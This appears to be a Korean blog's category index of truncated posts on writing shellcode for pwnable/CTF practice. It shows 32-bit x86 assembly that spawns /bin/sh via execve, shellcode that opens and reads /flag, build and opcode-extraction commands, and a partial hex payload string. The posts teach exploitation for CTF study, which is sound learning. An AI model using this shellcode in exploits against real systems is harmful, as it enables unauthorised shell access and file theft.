pwnable/Shellcoding 5

쉘코딩 (shellcoding) - (3)

쉘코딩 하는 여러 방법 소개 시리즈 (3) 쉘코드 작성 후 바이너리로 만들고 실행할 때 /flag 읽는 쉘코드 // shellcode.S #include .intel_syntax noprefix .global _start .text _start: /* open(file='/flag', oflag=0, mode=0) */ /* push '/flag\x00' */ push 0x67 push 0x616c662f mov ebx, esp xor ecx, ecx xor edx, edx /* call open() */ push SYS_open /* 5 */ pop eax int 0x80 /* read(fd='eax', buf='esp', nbytes=32) */ mov ebx, eax mov ecx, esp push..

pwnable/Shellcoding 2022.06.08

쉘코딩 (shellcoding) - (2)

쉘코딩 하는 여러 방법 소개 시리즈 (2) 어셈 코딩하고 opcode만 뽑내는 법 아래 예시는 execve("/bin/sh", ["/bin/sh", 0], 0) 일단 쉘코딩 // gcc -m32 -c -o shellcode.o shellcode.S #include #define STRING "/bin/sh" #define STRLEN 7 #define ARGV0 (STRLEN+1) #define ENVP (ARGV0+4) .intel_syntax noprefix .text .globl main .type main, @function main: jmp calladdr popladdr: pop esi /* esi points to STRING */ mov [ARGV0+esi],esi /* set up arg..

pwnable/Shellcoding 2022.03.25

쉘코딩 (shellcoding) - (1)

쉘코딩 하는 여러 방법 소개 시리즈 (1) 어셈 코딩하고 해당 코드를 실행하는 방법 소개 아래 예시는 argv[1] 문자열을 뒤집는 쉘코드 # main.s # gcc -nostdlib main.s -m32 .intel_syntax noprefix .global _start .text _start: push ebp mov ebp, esp # if (argc < 2) exit; cmp DWORD PTR [ebp+4], 2 jl exit # length of argv[1] : esi mov esi, 0x0 # i = 0 loop: mov eax, DWORD PTR [ebp+0xc] add eax, esi add esi, 1 cmp BYTE PTR[eax], 0 jne loop sub esi, 1 # while..

pwnable/Shellcoding 2022.03.25

쉘코드 만들기 (asm 코딩)

section .text global _start _start: jmp bin_sh bin_sh: call main db "/bin/sh",0 main: pop ebx xor eax, eax push eax mov edx, esp mov ecx, esp mov al, 0xb int 0x80 bin_sh 부분에서 call main을 하면 리턴 어드레스 (다음 주소)가 스택에 들어가므로 스택에는 자연스럽게 /bin/sh의 주소가 들어가있다 (신박ㅋ) 이 상태에서 pop ebx하면 ebx에는 바로 /bin/sh의 주소가 잡힌다. 컴파일은 nasm -f elf shell.s ld -m elf_i386 -o shell shell.o opcode 뽑기는 for i in $(objdump -d shell | grep..

pwnable/Shellcoding 2018.12.23

쉘코드 만들기 (직접)

처음으로 쉘코드를 만들어 보았다.일단 32비트 기준으로eax : system call 번호ebx : 첫 번째 매개변수ecx : 두 번째 매개변수edx : 세 번째 매개변수 맞춰준 다음에, int 0x80으로 시스템 콜 목표는 execve(&"/bin/sh", NULL, NULL); xor eax,eax push eax mov ecx,esp mov ecx,esp push 0x68732f2f push 0x6e69622f mov ebx,esp mov al,0xb int 0x80 간단 ㅋ이걸 pwntools asm 함수를 쓰거나, 온라인 어셈블러로 opcode로 만들어준 후 콜하면 된다. #include char * sc = "\xe9\x0f\x10\x00\x00\x5b\x31\xc0\x50\x89\xe2\x8..

pwnable/Shellcoding 2018.12.23